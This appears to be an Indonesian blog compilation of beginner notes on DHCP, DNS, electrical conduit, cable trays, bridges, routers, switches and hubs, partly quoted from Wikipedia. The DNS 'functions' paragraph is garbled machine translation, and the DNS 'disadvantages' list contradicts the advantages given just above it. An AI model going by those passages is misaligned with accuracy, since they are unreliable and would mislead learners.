Menurut Microsoft “Dynamic Host Configuration Protocol (DHCP) is an IP standard designed to reduce the complexity of administering IP address configurations.” Dynamic Host Configuration Protocol (DHCP) adalah suatu layanan yang secara otomatis memberikan alamat IP kepada komputer yang meminta ke DHCP Server. Dengan demikian, sebagai seorang administrator jaringan, tidak perlu lagi mengatur alamat IP Address pada komputer klien yang dikelolanya. Bayangkan saja jika sebuah perusahaan memiliki komputer lebih dari 100, tentu saja akan membuat report administrator untuk mengesetnya. DHCP juga dapat mengurangi resiko duplikat IP Address atau Invalid IP address.
Sebuah server DHCP dapat diatur dengan pengaturan yang sesuai untuk keperluan jaringan tertentu. Seperti pengaturan Default gateway, Domain Name System (DNS), Subnet Mask, dan rentang alamat IP yang bisa diambil oleh komputer klien. Komputer yang menyediakan layanan ini disebut dengan DHCP Server, sedangkan komputer yang meminta disebut dengan DHCP Client.
 
DHCP Server menerima permintaan dari sebuah host/client. Server kemudian memberikan alamat IP dari satu set alamat standar yang disimpan dalam database. Setelah informasi alamat IP dipilih, server DHCP menawarkan ke host yang meminta pada jaringan. Jika host menerima tawaran tersebut, maka IP akan disewa untuk jangka waktu tertentu, bisa dalam menit, dalam jam ataupun hari.
 
Jika komputer klien tidak dapat berkomunikasi dengan Server DHCP untuk mendapatkan alamat IP, sistem operasi Windows secara otomatis akan memberikan alamat IP pribadi (Private IP Address), yaitu dengan IP 169.254.0.0 sampai 169.254.255.255. Fitur sistem operasi ini disebut Automatic Private IP Addressing (APIPA). APIPA secara terus menerus akan meminta alamat IP dari server DHCP untuk komputer klien anda.




sumber :
http://www.belajarpc.info/

DNS (Domain Name System)

Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.
Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet dimana DNS memiliki keunggulan seperti:
  • Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address
    sebuah komputer cukup host name (nama Komputer).
  • Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah.
  • Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di Intranet.
DNS dapat disamakan fungsinya dengan buku telepon. Dimana setiap komputer di jaringan Internet memiliki host name (nama komputer) dan Internet Protocol (IP) address. Secara umum, setiap client yang akan mengkoneksikan komputer yang satu ke komputer yang lain, akan menggunakan host name. Lalu komputer anda akan menghubungi DNS server untuk mencek host name yang anda minta tersebut berapa IP address-nya. IP address ini yang digunakan untuk mengkoneksikan komputer anda dengan komputer lainnya.
 

Sejarah DNS
Sebelum dipergunakannya DNS, jaringan komputer menggunakan HOSTS files yang berisi informasi dari nama komputer dan IP address-nya. Di Internet, file ini dikelola secara terpusat dan di setiap loaksi harus di copy versi terbaru dari HOSTS files, dari sini bisa dibayangkan betapa repotnya jika ada penambahan 1 komputer di jaringan, maka kita harus copy versi terbaru file ini ke setiap lokasi. Dengan makin meluasnya jaringan internet, hal ini makin merepotkan, akhirnya dibuatkan sebuah solusi dimana DNS di desain menggantikan fungsi HOSTS files, dengan kelebihan unlimited database size, dan performace yang baik. DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah domain name ke IP address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama domain, misalnya: yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di analogikan pada pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk menghubunginya kita harus memutar nomor telepon di pesawat telepon. Sama persis, host komputer mengirimkan queries berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan ke IP address.
 


Struktur DNS
Root-Level Domains
Domain ditentukan berdasarkan tingkatan kemampuan yang ada di struktur hirarki yang disebut dengan level. Level paling atas di hirarki disebut dengan root domain. Root domain di ekspresikan berdasarkan periode dimana lambang untuk root domain adalah (“.”).
Top-Level Domains
Pada bagian dibawah ini adalah contoh dari top-level domains:
  • com : Organisasi Komersial
  • edu : Institusi pendidikan atau universitas
  • org : Organisasi non-profit
  • net : Networks (backbone Internet)
  • gov : Organisasi pemerintah non militer
  • mil  : Organisasi pemerintah militer
  • num : No telpon
  • arpa : Reverse DNS
  • xx : dua-huruf untuk kode negara (id:Indonesia,sg:singapura,au:australia,dll)
Top-level domains dapat berisi second-level domains dan hosts.
dns
Second-Level Domains
Second-level domains dapat berisi host dan domain lain, yang disebut dengan subdomain. Untuk contoh: Domain Bujangan, bujangan.com terdapat komputer (host) seperti server1.bujangan.com dan subdomain training.bujangan.com. Subdomain training.bujangan.com juga terdapat komputer (host) seperti client1.training.bujangan.com.
Host Names
Domain name yang digunakan dengan host name akan menciptakan fully qualified domain name
(FQDN) untuk setiap komputer. Sebagai contoh, jika terdapat fileserver1.detik.com, dimana fileserver1 adalah host name dan detik.com adalah domain name.
 
 
Bagaimana DNS Bekerja?
Fungsi dari DNS adalah menerjemahkan nama komputer ke IP address (memetakan). Client DNS disebut dengan resolvers dan DNS server disebut dengan name servers. Resolvers atau client mengirimkan permintaan ke name server berupa queries. Name server akan memproses dengan cara mencek ke local database DNS, menghubungi name server lainnya atau akan mengirimkan message failure jika ternyata permintaan dari client tidak ditemukan. Proses tersebut disebut dengan Forward Lookup Query, yaitu permintaan dari client dengan cara memetakan nama komputer (host) ke IP address.
dns2
  • Resolvers mengirimkan queries ke name server
  • Name server mencek ke local database, atau menghubungi name server lainnya, jika ditemukan akan diberitahukan ke resolvers jika tidak akan mengirimkan failure message
  • Resolvers menghubungi host yang dituju dengan menggunakan IP address yang diberikan name server
 
FUNGSI DNS
 
A. Kerangka Peraturan pengiriman secara kontroversi menggunakan keuntungan jenis rekod DNS, dikenal sebagai rekod TXT.
B. Menyediakan keluwesan untuk kegagalan computer,Beberapa server DNS memberikan perlindungan untuk setiap domain. Tepatnya,Tiga belas server akar (root server)digunakan oleh seluruh dunia.
 
KEUNGGULAN DNS
 
  1. DNS mudah untuk di implementasikan di protocol TCP/IP
  2. DNS server mudah untuk di konfigurasikan(Bagi admin)
  3. User tidak lagi di repotkan untuk mengingat IP address
KEKURANGAN DNS
 
  1. DNS tidak mudah untuk di implementasikan
  2. Tidak konsisten
  3. Tidak bias membuat banyak nama domain.

 

Conduit


Sebuah saluran listrik adalah sistem perpipaan listrik yang digunakan untuk perlindungan dan routing kabel listrik. Conduit dapat terbuat dari logam, plastik, serat, atau tanah liat. saluran Fleksibel tersedia untuk tujuan khusus.


   Conduit umumnya dipasang oleh listrik di lokasi pemasangan peralatan listrik. Penggunaannya, bentuk, dan rincian instalasi sering ditentukan oleh peraturan kelistrikan, seperti NEC AS atau kode nasional atau lokal lainnya. Istilah Conduit yang biasa digunakan oleh listrik untuk menggambarkan setiap sistem yang mengandung konduktor listrik, tetapi istilah memiliki definisi yang lebih ketat bila digunakan dalam peraturan kabel.
     instalasi penerangan listrik awal memanfaatkan yang ada pipa gas untuk peralatan gas cahaya (dikonversi ke lampu listrik). Karena teknik ini memberikan perlindungan yang sangat baik untuk jaringan kabel interior, itu diperluas ke semua jenis kabel interior dan oleh kopling awal abad ke-20 tujuan-dibangun dan fitting yang diproduksi untuk penggunaan listrik.

Cable Tray

Cable Tray
Dalam kabel listrik bangunan, sistem Cable Tray digunakan untuk mendukung berisolasi kabel listrik yang digunakan untuk distribusi listrik dan komunikasi. baki kabel digunakan sebagai alternatif untuk membuka sistem kabel atau saluran listrik. Kabel tray biasanya digunakan untuk manajemen kabel dalam konstruksi komersial dan industri. baki kabel sangat berguna dimana perubahan ke sistem kabel diantisipasi, karena kabel baru dapat diinstal dengan meletakkan mereka dalam baki, bukan menarik mereka melalui pipa.



Cable Tray dapay digunakan di toko2 atau di tempat tinggal.

Bridge

Menurut Wikipedia Bahasa Indonesia:
adalah sebuah komponen jaringan yang digunakan untuk memperluas jaringan atau membuat sebuah segmen jaringan. Jembatan jaringan beroperasi di dalam lapisan data-link pada model OSI. Jembatan juga dapat digunakan untuk menggabungkan dua buah media jaringan yang berbeda, seperti halnya antara media kabel Unshielded Twisted-Pair (UTP) dengan kabel serat optik atau dua buah arsitektur jaringan yang berbeda, seperti halnya antara Token Ring dan Ethernet. Jembatan akan membuat sinyal yang ditransmisikan oleh pengirim tapi tidak melakukan konversi terhadap protokol, sehingga agar dua segmen jaringan yang dikoneksikan ke jembatan tersebut harus terdapat protokol jaringan yang sama (seperti halnya TCP/IP). Jembatan jaringan juga kadang-kadang mendukung protokol Simple Network Management Protocol (SNMP), dan beberapa di antaranya memiliki fitur diagnosis lainnya.
Terdapat tiga jenis jemabatan jaringan yang umum dijumpai:

  • Jembatan Lokal: sebuah Jembatan yang dapat menghubungkan segmen-segmen jaringan lokal.
  • Jembatan Putar: dapat digunakan untuk membuat sebuah sambungan (link) antara LAN untuk membuat sebuah Wide Area Network.
  • Jembatan Nirkabel: sebuah bridge yang dapat menggabungkan jaringan LAN berkabel dan jaringan LAN nirkabel.
Sumber:Wikipedia

Router

Menurut Wikipedia Bahasa Indonesia:


Router adalah sebuah alat jaringan komputer yang mengirimkan paket data melalui sebuah jaringan atau Internet menuju tujuannya, melalui sebuah proses yang dikenal sebagai routing. Proses routing terjadi pada lapisan 3 (Lapisan jaringan seperti Internet Protocol) dari stack protokol tujuh-lapis OSI.



Dapat disimpulkan bahwa Router adalah:
Alat yang bertugas untuk mengantarkan paket data dalam jaringan. router dapat digunakan jika tersambung paling tidak dengan dua jaringan yang berbeda sehingga pengaturan tersebut membutuhkan sebuah router.Router berada di sisi gateway sebuah tempat dimana dua jaringan LAN atau lebih untuk disambungkan. Router menggunakan HEADERS dan daftar tabel pengantar (Forwarding Table) untuk menentukan posisi yang terbaik untuk mengantarkan sebuah paket jaringan dan juga menggunakan protokol seperti ICMP,HTTP untuk berkomunikasi dengan LAN lainnya dengan konfigurasi terbaik untuk jalur antar dua host manapun.
 

Switch

Switch


Menurut Wikipedia Bahasa Indonesia, Switch berarti:

"Switch jaringan (atau switch untuk singkatnya) adalah sebuah alat jaringan yang melakukan bridging transparan (penghubung segementasi banyak jaringan dengan forwarding berdasarkan alamat MAC).
Switch jaringan dapat digunakan sebagai penghubung komputer atau router pada satu area yang terbatas, switch juga bekerja pada lapisan data link, cara kerja switch hampir sama seperti bridge, tetapi switch memiliki sejumlah port sehingga sering dinamakan multi-port bridge."

ada pula yang menyebutkan bahwa:

"Switch Sebuah alat yang menyaring/filter dan melewatkan(mengijinkan lewat) paket yang ada di sebuah LAN. switcher bekerja pada layer data link (layer 2) dan terkadang di Network Layer (layer 3) berdasarkan referensi OSI Layer Model. sehingga dapat bekerja untuk paket protokol apapun. LAN yang menggunakan Switch untuk berkomunikasi di jaringan maka disebut dengan Switched LAN atau dalam fisik ethernet jaringan disebut dengan Switched Ethernet LANs."







Hub

Menurut WIKIPEDIA BAHASA INDONESIA, Hub berarti:
Hub adalah sebuah perangkat jaringan komputer yang berfungsi untuk menghubungkan peralatan-peralatan dengan ethernet 10BaseT atau serat optik sehingga menjadikannya dalam satu segmen jaringan. Hub bekerja pada lapisan fisik (layer 1) pada model OSI.

dan ada yang menyebutkan bahwa:

"Hub Alat penghubung atar komputer, semua jenis komunikasi hanya dilewatkan oleh hub. hub digunakan untuk sebuah bentuk jaringan yang sederhana (misal hanya untuk menyambungkan beberapa komputer di satu group IP lokal) ketika ada satu paket yang masuk ke satu port di hub, maka akan tersalin ke port lainnya di hub yg sama dan semua komputer yg tersambung di hub yang sama dapat membaca paket tersebut. Saat ini hub sudah banyak ditinggalkan dan diganti dengan switch. Alasan penggantian ini biasanya adalah karena hub mempunyai kecepatan transfer data yang lebih lambat daripada switch. Hub dan switch mempunyai kecepatan transfer data sampai dengan 100 Mbps bahkan switch sudah dikembangkan sampai kecepatan 1 Gbps."

sumber: http://afifcahya.blogdetik.com/2009/07/18/pengertian-hub-switch-router-dan-bridge/comment-page-1/


 

Terimakasih telah mengunjungi situs ini. Biasakan tinggalkan jejak setelah membuka web, dengan meninggalkan komentar atau menlakukan Vote pada artikel.

Original Blogger Template | Modified by Animart